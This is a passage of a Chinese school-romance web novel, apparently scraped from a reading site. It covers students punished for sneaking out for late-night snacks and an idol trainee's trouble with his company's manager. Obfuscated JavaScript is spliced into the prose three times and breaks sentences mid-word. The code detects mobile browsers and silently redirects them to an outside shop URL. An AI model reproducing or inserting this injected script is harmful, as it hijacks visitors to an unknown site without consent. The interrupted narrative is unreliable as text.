“看见她我就来气,早上看不起我,中午还骂我装逼屌丝,我怎么咽的下这口气!立刻讽刺她,怎么学霸也和我一样逃课出来吃宵夜,把她气得脸都红了!哈哈哈哈哈真解气!” “不过马上就更离谱了!我们居然被教导主任抓住了,叫什么……什么霞?妈呀一进来就开始疯狂扫射,暴跳如雷,说要把店里所有的人全部记下来,全校通报批评!卧槽这给我们吓得,立刻跑出去了,她还在后面追,简直比丧尸还恐怖。苏琬建议我们先去学校旁边的鸡鸣山上躲着,等下课了再回去,于是总算逃过一劫。” “然后,黄怀予居然从口袋里掏出一袋鸡柳开始吃!我真服了她,你说她这人吧,性格是真不好惹,但是人还挺有意思的,也算是风风火火敢爱敢恨。” “其实她这人吧,有时候说几句话还是有那么一点道理……最后总算回去了,居然还遇见了马辉,我们和苏琬又被抓包一次。操,我才刚来第一天就这么多波折!好在白度给我指了条路,我今天直接来市中心网吧打了一天游戏……” “……” “兄弟,你……你在听吗?” “你……是不是不喜欢我讲这些啊,哎我就随便说的,我这人就是话多,你要是嫌我烦那我就不说了!” …… 楚恒呼吸逐渐平静下来,瞳孔逐渐有了焦距。 他躺在地上微微喘气,慢慢放下了手里的刀。 “你说吧。” 声音嘶哑低沉,像是三天没喝水,没有见过光明。 ——光明?光明到底在哪里? 谷奕的声音极大,洋溢着活力阳光的懒散,喋喋不休地、毫无逻辑地讲着那个离他一千七百多千米的南方小城市。 夏天热得让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252927|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想吐,小城市里最好的高中规矩多如牛毛,人人都讲着带有云省口音的普通话,听都听不懂。 寝室太破,周围太无聊,老师太凶,遇见的两个女生太奇怪。 ……明明他和谷奕年龄一样大,却在完全不同的世界里过着完全不一样的生活,只能隔着这一通电话,浅淡地、东一句西一句地,听着对方念叨着自己在那个小城市里张扬的青春。 是抱怨,是叙述,是描绘,是勾勒。 …… 电话里的世界,是光明的所在吗? 楚恒不知道。 他只是凭借着自己的本能,缓慢地放下了刀,静静地听着。 * 周一,楚门一中新学期的第一次国旗下讲话和开学典礼。 主席台上的领导正在一番接着一番地演讲,车轱辘话来回说。 操场上的学生满满当当地站着,高一充满活力,高二低头看书,高三死气沉沉还没睡醒。 黄怀予因为个子高,站在一班队伍后面,百无聊赖地闭着眼,默默背着早自习刚读过的古诗词。 程朗在黄怀予后面拱来拱去,还在想方设法骚扰着她,希望能够软磨硬泡让自己获得可以不交地理作业的特权。 黄怀予早晨本来就没睡醒,此时听着台上领导翻来覆去的废话而不能回教室做数学题,更是觉得浪费时间。后面程朗还像只猴子左蹿右蹿,她心里一股无名火起,烦躁至极。 程朗压低的贼贼的声音从后面传来:“杯姐,你再想想你的秘密……我可是和卫语很熟的,昨天周末我们还在一起打球了,如果我要是一不小心告诉了他……嘿嘿嘿……” “嘿你爷爷的头!” 两人还在极限拉扯,突然黄怀予就听到主席台上飘来一句话: “下面我们欢迎高三学生代表,高三五班的卫语同学,发表国旗下讲话!” 她心猛地一颤,浑身僵硬。 “呦呵,说曹操曹操到。” 程朗冲着她挤眉弄眼,笑得极为暧昧。 “……”她深呼吸几口气,低头,转身狠狠拧了程朗一把,然后转回身低头,仿佛这样就能逃避看到那个身影。 但是那个人的声音还是通过麦克风,响亮地传到了操场所有人的耳朵里。 “老师们同学们,大家好,我是305班的卫语。很荣幸以学生代表的身份进行国旗下讲话,今天我演讲的题目是,意志坚定,勇攀学习之峰。” …… “那是谁啊?” “卫语啊,五班的,上次期末理科年级第一嘞。” “哦火箭班的啊,怪不得成绩这么好。” “哇长得也好帅啊,声音也好听。听说还是搞计算机竞赛的,高二还得过奖!” “唉,我们普通人就别肖想人家学神了,距离太远,一个天上一个地下啊!” “你就算肖想也没用,人家已经有女朋友了。” “真的假的?我没听说他有女朋友了啊,你怎么知道?” “他是我初中同学啊,我当然知道!她女朋友也是我初中同学。” 讲话的女生站在二班后排,脸上颇有些自己和学神曾经是同班同学的得意。 “不信,卫语这么有名的人,我怎么从来没听说过他有女朋友?你编的吧。” “就是,就算有那也是初中的事了吧,你的信息也该更新了。” 那女生急了,极力想证明自己,她突然想起什么,指向右边一班的队伍,对着黄怀予喊道: “杯子!你说是不是!卫语是不是和冯尽欢从初中开始就谈恋爱了!” 7. 第 7 章 “杯子!你说是不是!卫语是不是和冯尽欢从初中开始就谈恋爱了!” 那女生像是看见了什么重要证人,立刻转头,炫耀似地对旁边的同学说道: ——“那是黄怀予,也是我初中同学!她可以证明!” …… 讲话的几个女生听到了“黄怀予”这个名字,声音渐渐小下来,都转过头看向右边,脸上带着寻找和好奇。 ——文科四个平行班里,几乎所有人都知道黄怀予的名字,因为她是一班的第一名。 楚门一中高三年级的文理分班里,文科分成了平行班和快班,理科分成了平行班、快班和火箭班。 在所有的二十个班里,一班到四班是文科平行班,教室在1号教学楼的五楼。五班到七班是理科火箭班,八班是文科快班,这四个最顶尖的班在1号教学楼的四楼。 剩下的九班到十二班是理科快班,十三班到二十班是理科平行班。 …… 不同等级之间,师资力量、教室位置、投入资源等全都有着分化的差异。大家会自动地将人按照班级分成不同种类,快班和火箭班天然地对平行班的人拥有向下的鄙视。 不像快班和火箭班竞争激烈,平行班大部分人都极为普通,只有每个班的第一名会三年来都长期包揽全班第一,并且和第二名拉开很大的差距,作为本班的代表,在年级前列去和快班的人竞争。 所以四个文科平行班里,大家提到某一个班就一定会想到那个班的第一名。 ——而黄怀予就是301班从高一到现在的包揽第一,也是四个平行班里第一个考进年级前十的人。 …… 被高声念到名字并成为好几人视觉中心的女生,此时却低着头不说话,像是根本没听到有人叫她。 过了三四秒,她才仿佛反应迟钝般抬起头,“啊,是啊,他已经有女朋友了。” 说完眼睛看向别处,语气正常,听不出一丝波动:“就是十五班的冯尽欢。” 最后补充一句:“也是我们初中同学。” …… 学霸的保证立刻让这个八卦有了实质性的权威来源,二班的那个女生极为得意,继续叽叽喳喳讲着初中学神为人津津乐道的恋爱故事。 “杯姐,真的假的,我怎么不知道?” 程朗像是听懵了,从来没听说过卫语和冯尽欢是一对,他低声问道。 “……”黄怀予瞥他一眼,就他这五大三粗的样子,他能知道些什么? 卫语和冯尽欢的恋爱不是人人皆知的官宣恋爱,但是女生的小圈子里大家早就心知肚明,从初中的暧昧到现在高三了还在一起,也算是极为长久稳定了。 程朗的疑问只能得到一个凉凉的眼神,他一脸懵逼,还是识趣地选择了暂时闭嘴,认为刚刚她们之间的对话一定是黄怀予为了不让其他人怀疑她暗恋卫语,才拉出来冯尽欢挡枪。不然自己跟卫语每周末都在一起玩,怎么从来没听说过卫语和冯尽欢谈恋爱? 想通了这一点,程朗豁然开朗,看着黄怀予的眼神也多了一丝同情。 可怜啊,看着无所不能的学霸杯姐,原来在感情上也是搞怕被人发现的卑微暗恋这一套! …… 谷奕站在队伍最末,插着兜懒散地站着,长眉挑起,一头黄发和高大的个子在周围人中间极为显眼,时不时就能招来探究和好奇的眼神。 他视线投向前方,看着一条纵队上,扎着马尾的苏琬的背影。 盯着看了一会,又漫不经心地看向别处。 正在乱七八糟地想着什么,突然主席台上传来一个熟悉的中年女性的声音。 ——像是魔鬼的低语。 “现在,8月31号晚上第二节晚自习的时候,在学校对面的奶茶店的所有人,现在全部站上来。” 谷奕一惊,立刻抬头望去——果然在远远的主席台上看到了那个晚上的熟悉身影,即使遥远模糊也如此令人畏惧,他那天回去连做了三个噩梦,全都是被一个中年女人追着逃跑。 他瞪大眼睛,果然就看到前方纵队里探出两个慌张的脑袋,正在惊疑地看着他。 三人同时心道: “完了。” …… 还没能来得及想出任何方法,白度在旁边慌张地贴过来:“哥,要不装作无事发生,我们看杯子和苏琬眼色行事。反正那天那么多人,她不一定记得我们。” 话音刚落,就听见朱秋霞的阴森低沉的声音悠悠荡荡从前方传来,响彻整个操场。 “一班那个黄头发的,这次,你跑不掉了。” …… 黄怀予站在原地捏紧拳头,皱眉低头,脑子里迅速闪过了三四种方案,但是每一种都被她迅速否决了。 她甚至想,反正被记住的也是谷奕,干脆她咬死不承认,把谷奕卖出去得了。 ——这个念头只存在了两秒钟就立刻烟消云散了,因为她已经看到,队伍前方,马辉正沉着一张脸,带着暴风雨般的情绪紧紧盯着她,一步步从队伍最前方,走到了她面前。 黄怀予心里已经慌到腿软,面上却还立刻摆出小S同款的无辜表情,刚准备开始表演自己想的第三个方案,下一秒就直接被马辉打断。 “上去。”他咬牙切齿地挤出两个字。 …… 于是,四个人就这样齐齐整整地走上了主席台,迎接着满操场全校师生的注目礼。 前面已经有了一排人,全都低着头排队上台,简直像扫黄打非被抓住游街示众的嫌疑人。黄怀予瞟了一眼,果然都是那天晚上在奶茶店见过的熟面孔。 然而她跟着走上台的时候,正正好好和那位刚刚结束完演讲的优秀高三学生代表以及理科年级第一的卫语,四目相对。 “……” 三年初中同班同学,两年高中同校同学,以及初中三年的第一名和第二名,这种关系,怎么也不会让卫语忘记黄怀予的脸。 对方眼神里传递出满满的惊讶和疑惑,让干了无数坏事身经百战的她此时此刻都觉得脸上一热,内心极度尴尬。 ——要不直接说自己也是学生代表,上台来国旗下讲话的? 我今天演讲的题目是,如何逃晚自习去吃宵夜并且从教导主任眼皮子底下逃跑? 这个选题其实很有意义,她估计台下的人应该很有兴趣听一听。 ……黄怀予胡思乱想了一瞬,两人就已经走过。 她跟着大部队低头走到主席台中间,转身面向台下满满一操场的人。 全校人都在下面,站得密密麻麻,全部都抬起头直直地看过来,众人探究的好奇的鄙视的目光全部集中在她们一行人身上,像无数支箭。 ——看得黄怀予几乎不敢抬头。 台下响起窸窸窣窣的讨论声。她不敢抬头,只是盯着前面地上的脚印,脑子里一团浆糊。 她一会觉得听到了文科平行班的人在讨论“那不是黄怀予吗?”,一会觉得自己看到了八班的人的鄙视眼神,最后还感觉自己似乎听到了卫语在和冯尽欢聊刚刚在主席台前看到了自己的事。 ……就这样乱七八糟想了很久,突然眼前就出现一双鞋。 她抬头,眼前就站着面色阴沉的朱秋霞。 朱秋霞从左到右一个个扫视过去,扫到谷奕的时候,眼神立刻凌厉而凶狠,像是要把他剥开吃了。 她盯着谷奕足足有五秒钟,盯到谷奕后背发麻,之后才移开眼神,转过身去,拿起话筒。 “我非常失望,没有想到我们楚门一中,百年名校,省重点高中,在楚门甚至在云省都响当当的名号,竟然还会出现这种事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱秋霞越说越愤怒,她指着黄怀予大声说: “作为好学生,更加应该严格要求自己,给其他同学作出学习的榜样!而不是这样没个学生相,学了一身社会风气!” “你以为你是全班第一名就很了不起吗?平行班,永远也比不过快班!” “以为自己在班上的一亩三分地好像是第一名了就沾沾自喜,自以为了不起,呼朋唤友,眼界狭窄!” ——这话一出,办公室里所有的人都变了脸色。 马辉立刻觉得这话说得重了,在一旁说道:“黄怀予,你给朱主任道歉认个错。”言下之意是截开话头,先让学生道歉,也能够让主任熄火。 马辉说完,办公室里却陷入了安静。所有人都看向黄怀予。 黄怀予却像是被说愣了,低着头,看着地面,没有人看到她的表情。 “快点道歉!”马辉急切。 …… 黄怀予仍然沉默,垂在身侧的手指微微颤抖。 办公室里的安静已经维持了太久,她感到所有人的目光都在自己身上。 有,这么严重吗? 原来她这么不堪吗? 她捏紧了拳头,周围空气的安静像针一样扎进她的皮肤。 ——她面前站着的,是楚门一中的教导主任。 想到这里,她终于微微张开口: “对不……” “是我让她逃课的。” 一句突如其来的话打断了黄怀予的说了一半的认错,所有人都惊讶地看向说话的人。 8. 第 8 章 “是我让她逃课的。” ——谷奕抬起脸,眉眼凌厉,长眸坦然,毫无畏惧。 他直接地和朱秋霞对视,一字一句地说: “她没有错。” “他们三个人都没有错,是我鼓动他们跟我逃课的。” “要给我处分,还是批评,还是其他的什么的东西,都可以。随便。” …… “你这是什么态度?!” 朱秋霞怒视他。 “……”谷奕挠挠耳朵,满不在乎地歪头,依旧吊儿郎当地站着。 他确实毫不在乎这些惩罚。 他从小当惯了纨绔子弟,到哪里都是众星捧月,身边多的是趋炎附势想巴结他妈妈的人。 初中的时候他抽烟打架什么都干,疯起来的时候,那一片的人都知道谷奕打架最不要命。最终也并没有得到什么惩罚,凭借着关系户的身份在学校甚至在区里都横行霸道。 如今只是逃个没有老师在的晚自习,去学校对面吃顿宵夜,这种程度在他眼里连个屁都不算,也值得这样大惊小怪、兴师动众地全校批评和当面道歉? 他从头到尾就没有认可过这种评价体系和奖惩机制。 谷奕扭头看了一眼旁边的三人,看到一向张牙舞爪而此时却一副任人欺负的样子的黄怀予,心里莫名其妙生出一点义不容辞的责任感。 ——你们是好学生,要面子。那不如让我来。 …… 听到谷奕的话,旁边的几人全都抬起了头,惊讶地看着他。 一直低头沉默的黄怀予,此时也终于有了反应。 她模模糊糊看着右边那个高大的身影,抿紧了唇。 “我还没说你,你倒是先揽起罪了?” 朱秋霞冷笑一声,一字一句地说: “明天请你家长来,到我办公室。我倒要看看你家长知不知道你这幅奇装异服、不服管教的样子。” 这话一出,一旁听着的马辉瞬间皱起眉,看向谷奕。 果然眼尖地发现,刚刚还满脸桀骜的谷奕,听了这话就浑身一僵。 他极力保持脸上的平静,还是双手插着兜,垂下眉眼,摆出一副无所谓的浪荡样子。 ……他心知肚明,他的家长,一定请不来。 从来不关心他,从来不在乎他,只是专制严格地想让他出国,走上世俗规定的一条无聊透顶的路。 两人曾经大吵,她认定自己养尊处优,一定不愿意来楚门受苦,干脆说“你要么出国,要么滚去楚门参加高考”。 没想到他头脑冲动,最听不得这种话。 “有什么不敢的!” 她却盯着他,撂下一句话:“行,一年以后,我看你是什么样子。” 直接大手一挥就让他一个人来到这个陌生的小城市,转学插班,住校寄宿,不闻不问。 他有些恶劣地想,要真能把她从魔都请来,算朱秋霞有本事。 …… 马辉观察着办公室里所有人的表情,如今听到“家长”两个字,眉心微动,准备开口说话。 可是下一秒,左边的角落里就传来一个声音。 “跟他没关系,是我教他的。” ——黄怀予拳头捏了又捏,等到听到了“家长”两个字,终于还是下定决心,站了出来。 这话一出,办公室里所有的目光又回到了她身上,都带着不可置信的惊讶。 ……谷奕有些震惊地望向左边,长眉微微蹙起。 …… 右边一只手悄悄地扯了扯她的衣角,她知道是苏琬在阻止她,但是她还是挺直胸膛。 “是我想吃东西,才拉着苏琬和白度一起逃晚自习,去奶茶店。谷奕刚转过来,什么都不知道,对学校也不熟悉。是我出的主意,鼓动大家一起逃走。” “不是!”苏琬有些急切地喊出声,“鼓动大家逃走是——” “是我。就是我。” 黄怀予想也没想地打断她。 眼前的女生似乎已经从刚刚低头被责骂的消沉状态里走了出来,此时眼神坚定,身体挺直,仿佛又找回了那个天不怕地不怕的叛逆学霸身份。 “……”朱秋霞脸色非常难看。 她的眼神扫过面前,这几个一个个都自以为自己仗义的互相顶罪的小崽子,脸色愈发阴沉。 她盯着黄怀予:“你为什么要鼓动大家一起逃走?” “……”黄怀予眼神闪烁了一下,“我不想让我家长知道。” “好!你说你不想让你家长知道,那就让你试试!” 她怒吼:“其他人都不用了,就你一个人,明天上午十点让你家长过来!” …… 黄怀予面色一松,呼出一口气。 也不枉她当了这么多年的好学生,每个老师在想什么,她还是可以察言观色地猜出几分。 果然,这次也成功猜对了。互相顶罪,直到朱秋霞生气,并且秉持着擒贼先擒王的原则,抓了她当代表,释放了其他人。 …… 等四个人终于从教导主任办公室出来的时候,已经是上午十点半,离升旗仪式已经过去了一个多小时。 白度早已经吓傻。 暴怒的教导主任,全校通报的惩罚,以及明明前几天还互相看不顺眼、今天就突然开始互相往自己身上揽罪的校霸和学霸。 ……太复杂了!他的脑容量太小,实在是反应不过来! 他哆哆嗦嗦地问:“杯子,你明天要让你家长过来吗?” “是啊。” 黄怀予表情淡定。 “没关系,反正我成绩好,马辉不会把我怎么样的。” “如果要请家长,你家里……” 她说着说着突然停住,看了一眼谷奕,话到嘴边转了一下,“你家里人不是在魔都吗?那么远怎么来。” “我就不一样了,反正我家就在学校对面的陪读街。” “苏琬就跟不用说了,请我的家长和请她的家长是一回事,没有区别。” “所以,你们不用太在意。” 她语气轻快,透着无所顾忌的潇洒:“都是朋友。” …… 谷奕静静地站在一旁,沉沉地看着黄怀予,听到她说出“朋友”二字的时候,细长的眸子里闪过说不清道不明的复杂情绪。 半晌,才直视着她,露出一个笑。 “……” “谢了。” 他声音低沉,嘴角勾起一贯散漫的弧度,眉眼却像是终于解决了重大什么困难般舒展开,眼里闪着光。 黄怀予看他一眼,拉起苏琬,转身潇洒地挥挥手。 “走了,回去做数学了。” …… 黄怀予终究还是没有嘴上说的那么潇洒地回去若无其事地做数学。 她找了个借口跟苏琬说自己要上厕所,然后一个人在后面,慢慢地走回了教室,满脑子都是请家长和通报批评的事。 此时是课间,她爬上1号楼的楼梯。 周围上上下下全都是高三的学生,她总觉得这些人里就有认识自己的人,正在背后指指点点地议论自己被全校通报批评的事,不由得面上一热,步履有些沉重。 她走上四楼的时候,突然看见前方上层拐角处,有一个熟悉的身影,穿着校服,戴着厚厚的眼镜,手上拿着一个袋子。 ——是她的初中同学,吴如冬,现在在理科快班十班。 她刚想上前和她打声招呼,就看见她还在往上走着,手里的袋子晃晃悠悠。 ……十班不是在三楼吗?再往上走就是五楼了。 却看见上方楼梯处还有两三个人,是八班的两个女生和数学老师孙老师。两个女生手里还拿着试卷,似乎是刚刚找老师问完问题。 黄怀予这下才反应过来,吴如冬有可能也是去六楼找老师的。 于是三步并两步跨上台阶,走到她身后,准备和她打招呼。 话还没说出口,就看见吴如冬有些怯懦地走到那两个女生面前,手指不安地绞在一起。 “你好……不好意思,请问能帮忙叫一下你们班的黄怀予出来吗?” ——被喊到名字的黄怀予在背后一愣,原来吴如冬是来五楼找她的。 “黄怀予?” 那个八班的女生闻言,像是听到了什么很好笑的事情,笑着看向吴如冬。 “你找错人了,我们班可没有黄怀予这个人。” 她话里带着强调,脸上有几分骄傲,一字一字地说: “我们是八班的。” 吴如冬一愣。 “哦,不,不好意思,我,我看你们刚才和孙老师讲话,我记得孙老师是教一班数学的,所以弄错了……不好意思。” 那女生听到这话,低声哼笑了一下。 “我们班跟一班确实是同一个数学老师。” 紧接着,她话锋一转: “但也就仅此而已了。” “毕竟我们班可不会有人逃晚自习去吃夜宵还被全校通报批评。” 说话时,语气带着轻松,带着一丝笑。 …… “……”吴如冬像是被说懵了,一时没反应过来,脸上青青白白。 “怎么了?” 那女生本身已经准备走了,却看见吴如冬像是对她的话一脸不可置信的表情,于是停住脚步接着说:“你这什么表情,我也没说错啊。” 她转向旁边另一个八班的女生。 “齐龙飞,你知道黄怀予吧?” ——旁边的女生突然被叫到,神色平静,看了一眼吴如冬。 …… 文科班里,没有人不知道齐龙飞的。 一个八班的女生,有一个霸气无比的名字,常常考年级第一。 八班有很多学霸,每次考试都有一种争奇斗艳各显神通的感觉,年级第一也是经常换着当。齐龙飞就是年级第一的重要人选之一。 …… 齐龙飞表情淡漠,过了几秒才点点头。 “听过。但是不认识。” 那女生意料之内地笑笑:“是啊,黄怀予大家谁没听过,一班的第一名嘛。是挺聪明的,成绩是挺好的。但是成天混来混去,呼朋唤友的,不是迟到就是逃课,社会的很。” “最近好像还跟她们班那个新来的黄头发转学生混在一起了?” “祝她好运吧,下次也能挤进年级前十。” 她揶揄着说完,拉着旁边的齐龙飞就打算下楼。 ——没想到下一秒,就在几步台阶之下,看见了刚刚话里大肆谈论的主人公。 她一愣,不知所措的脸立刻强装镇定,拉着旁边的齐龙飞从黄怀予身旁匆匆下楼了。 …… “杯子?!” 吴如冬呆呆地看着几步台阶下面的她,也不知道刚刚和那两个女生的对话被黄怀予听到了多少。 “你刚刚都,都听到了?” “你别在意,那两个人乱说的!你成绩那么好,年级前十下次你也一定可以!” “你是平行班里第一个考进年级前十的人!” “就算通报批评,也只是出去吃一顿夜宵,没什么的!” “你从初中就成绩那么好,又有那么多朋友,你,你是大家的榜样!” 黄怀予爬上几节楼梯,对着还在有些语无伦次夸着她的吴如冬露出一个笑容。 “别捧了,再捧我都要飞到天上去了。” “你来找我的?” 吴如冬终于住嘴,把手上的袋子递给她。 “新学期第一天,给你的礼物……不是什么贵重的!就是一个本子。” 黄怀予有些惊喜地接过来,打开袋子看看,认真地说:“谢谢,我很喜欢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252929|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天我也送给你一个。” “不用!不用!” 她连忙摆摆手。 “你喜欢就好,不用送给我!新学期加油。” 黄怀予特别感动地给了她一个拥抱:“你也是,新学期加油!有事随时来找我!” 吴如冬被抱住,又很快松开。 她脸上红扑扑的,终于如释重负般露出一个浅浅的笑。 …… 中午放学,黄怀予回到家,在房间里对着手机发呆。 她外婆腰不好,一班教室又在五楼。所以从高一第一次家长会开始,她就已经向班主任马辉打过招呼,自己的家长可以不用来参加。 于是三年来,她的家长一次家长会也没来过。 反正对班上第一名来说,家长会的意义实在不大。 但是这一次…… 教导主任办公室也依然要爬楼梯。 而且最主要的是,她毕竟是真的逃了晚自习,以及是真的被全校通报批评了。在自己眼里不算大事,但是在老人眼里就不一定了,只怕以后解释不清楚,麻烦更多。 ……黄怀予想来想去,最终还是下定了决心,点开了手机微信里“小姨”的聊天框。 “我最亲爱的鸣月小姨,我想死你了,想必你也很想念你的母校,所以我诚邀你明日上午十点来母校一叙。” 那边很快回复,但是一直是“正在输入中……”,可见对方情绪非常激动,一直在打字。 果然下一秒,她就看见屏幕上出现带着怒气的文字: “叙个屁!又是见家长对吧!你能不能少惹点事!” * 帝都新娱公司。 小会议室的门被拉开。 一个穿着剪裁得当的西装的女性走了进来,利落短发,踩着高跟鞋,拿着文件夹,走路带风气场十足。 她坐下来,看着会议室里已经到了的五个成员。 “月初考核的结果出来了,发在了群里,大家有看到吗?” 一片安静,没人回答她。下面四个人都懒散地缩在座位里,只有角落里一个金发男生正抬头看着她。 “这次顾安进步很大,舞蹈分数提高了很多。陈影还需要努力,这段时间我会给你安排多一些声乐课。钱明哲舞蹈比起上个月退步了,要注意一下,不要懈怠。赵焰还是老问题,这段时间你和陈影一起安排声乐课。” 她顿了顿,赞赏的目光移向角落里的金发男生。 “楚恒依然是综合第一,声乐单科第一,各方面都不错,继续保持。” 明明是宣布第一名,但是五人之间的气氛却陷入诡异的沉默。 ……一片安静中,楚恒微微点头。 他回过头,却撞进了赵焰似笑非笑的嘲讽眼神。 “梁姐,我这段时间身体不舒服,不想上课,想请假。”赵焰懒洋洋开口。 梁吟东转头看他;“哪里不舒服?” “哪里都不舒服。” “节目能上吗?” 他笑笑,“节目能上,就是不能上课。” “……” 听着对方明显是找茬耍赖的话,梁吟东面色不改,依然平静。 “给我一个理由。” “理由?” 赵焰摸摸嘴巴,笑着说,“理由就是,我们的第一名兼C位,上次上节目的时候太不配合,把大家都搞得下不来台。既然这样,我觉得我们没必要上课,不如多陪他练一下怎么在摄像机前接受采访。” …… 会议室里的气氛一下子变得紧张,所有人的目光都转向角落里的楚恒。 他垂下眼眸,知道赵焰是在讲那天去江城录节目,自己没有承认他说的给自己买衣服的故事。 梁吟东眉头皱起,看向两个人。 几秒后,她对楚恒说:“楚恒的媒体课要继续上,下次不能犯这样的错误。” 随即她转向赵焰,带着不可置疑的语气:“赵焰,不要引起团队冲突。你的课已经安排下去了,如果身体不舒服,把医院诊断书给我看。” 两句话平息了紧张的气氛,赵焰虽脸上仍有不满,但也终于坐回了座位,安静了下来。 “大家还有其它问题吗?如果没有,那我们这次的月度总结会议就到这里。楚恒,你留一下。” 大家离开,梁吟东走到楚恒面前。 “上次你向公司反映上去的方案,几位领导已经看过了。” 她看着对方澄澈平静的眸子,斟酌着说话的语气。 “但是……也许公司有公司的考虑。” “下一次新歌的风格和制作,上面已经定下来了,就不太需要其他的建议和采样了。” 楚恒静静地听着,虽然早就料到了是这个结果,但是眼神里的光还是一点点熄灭了下去。 梁吟东拍拍他的肩膀,眼神中有着鼓励:“你的想法很好,写的曲子也很已经很成熟,这一点声乐老师已经向我说过了很多次。” 紧接着,她话锋一转,语气有些低沉。 “你和我的想法是一样的,想要回到刚出道时候的风格。但是……”她顿了一下,“贾总经理没有采纳。” “……嗯。” 楚恒握紧了手。 梁吟东看着眼前这个漂亮精致却安静内向的男生。她已经当了STAR三年的经纪人,从出道开始一直到现在,可是却看着楚恒一点点变得越来越沉默寡言。 “最近有遇到什么困难吗?” 梁吟东又敏锐地联想到刚刚会议上赵焰的话,多问了一句:“和赵焰之间没有矛盾吧?” “……” 楚恒沉默了三秒。 最终依然轻轻地摇了头。 “那就好。”梁吟东点点头,“团队里有矛盾要第一时间解决。你不用觉得因为赵焰是贾总经理的外甥就不敢说,遇到什么问题,随时都可以来找我。” 9. 第 9 章 梁吟东正在等电梯,下一秒就旁边就走过来了一个男人。 两人目光相对,她脸色一滞,礼貌点头:“总经理。” 被称作“总经理”的男人大腹便便,头发稀疏,戴着眼镜,隐藏了一双精明的眼睛。 他看了一眼梁吟东,向前走了一步,对她的打招呼视而不见。 周围陷入尴尬的安静。 过了一会,终于有人开口: “STAR下次新歌的几首备选曲子demo已经送过来了,你下星期之前确认好。” 梁吟东看向面前背对着她的贾威,平静开口:“几首demo我都听了,质量都一般,和前几次的大同小异,换汤不换药。” 贾威:“那就再找新的。” 梁吟东:“新的也看了,形式大于内容,都不是好作品。” “那你想怎么样?” 贾威回头看她,声调变高,语气也变得不耐。 梁吟东依然平静,不卑不亢道:“目前所有备选的曲子里,只有一首是质量达到要求,同时最符合STAR风格的。” 她直视着贾威的眼睛。 “就是楚恒写的《孤单行星》。” 贾威脸色终于变得难看,目光冰冷。 “那只代表你一个人的想法。我并不觉得这首歌是最适合的,它和现在STAR的路线完全不相符。还是说……” 贾威转过身子,正面朝着梁吟东,眼神里透露出威胁,“你是觉得这首歌符合的是STAR以前刚出道时候的风格,才这么极力推崇?” 梁吟东迎向对方的目光,语气平静而掷地有声。 “我二十一岁入行,当了十几年经纪人,走到今天,我完全相信我自己的眼光和审美。” “STAR刚出道的风格是我定的没错,事实证明这个决定是对的,那时候所有数据结果都很好。如果不是中间公司要求转型,我不相信STAR会是今天的结果。” “好的就是好的,差的就是差的,数据会说话。” 贾威脸色阴沉,表情满是怒火。 “你不相信?你是对公司的决策有什么不满吗?那你现在就去董事长会议室当着董事长面提出来。” 他靠近一步,压低声音,目露凶光。 “梁吟东,从当年李鸣月的事情开始,我们之间的梁子早就已经结下了。总经理是我,你就算翻天也不可能在股东大会上赢过我。” “好好当你的艺人经纪,别总痴心妄想往上爬。” “这话也送给某些艺人,别以为有点才艺就能掌握话语权了。STAR的C位本来就是赵焰的,施舍别人当了三年,这是恩赐,让他知足。” …… 楚恒单薄瘦削的身影隐藏在电梯口转角的阴影里。 转角那边,说完话的男人已经进入了电梯,只留下女人在电梯口。 楚恒抿唇,鼻梁高挺,垂在身侧的骨节突出分明的手慢慢握紧。 无数的话一直在他脑中交缠涌现: “遇到什么问题,随时都可以来找我。” “你不用怕。” …… “总经理是我,你就算翻天也不可能在股东大会上赢过我。” “梁吟东,我们之间的梁子早就结下了。” …… 刚刚有一点点机会打开的心,此时又被沉重的枷锁给牢牢地禁闭上。 梁姐带了他们三年,周到细致,尽心尽力。 或许他现在唯一能做的,只是不要拖累别人。 …… “楚恒!” 有人喊他。 他回头。 沈一瑾走过来,脸上带着微微的红晕。 “这周末是我生日,想请朋友们一起吃饭和玩密室。你……要不要去?” 她今天特地来找楚恒,想要邀请他参加生日聚会。可是半道上碰见赵焰了,赵焰一看见她就凑过来,问她生日怎么安排。 沈一瑾不想说,随便扯了个谎就敷衍了过去。 她不怎么喜欢赵焰,知道这个人性格有些阴狠,靠着家里关系硬生生抢走了别人很多资源。 至于她的生日会…… 她眼里带着期待,在楚恒面前说出了酝酿很久的邀请。 可是下一秒,果然就得到了对方意料之中的冷漠回复。 “不好意思。” 她心一沉。 他说完,又紧接着有些罕见地回头补上了一句“生日快乐”。 “……”沈一瑾愣愣地看着对方已经离去的背影,竟然默默地为那句简短的“生日快乐”而感到悸动。 …… 角落里,赵焰看着路中间交谈的一男一女,眼神折射出妒忌的光。 说自己不办生日会? 现在又来邀请楚恒去玩密室? 他气得咬牙,阴狠的目光射向离开的男生的背影,又看向路中间脸色变得雀跃的清丽女生。 沉思几秒后,他拿出了手机,点开了“舅舅”的聊天框。 …… “喂,哥们儿!” “你总算接电话了,刚刚是不是在练习室?” 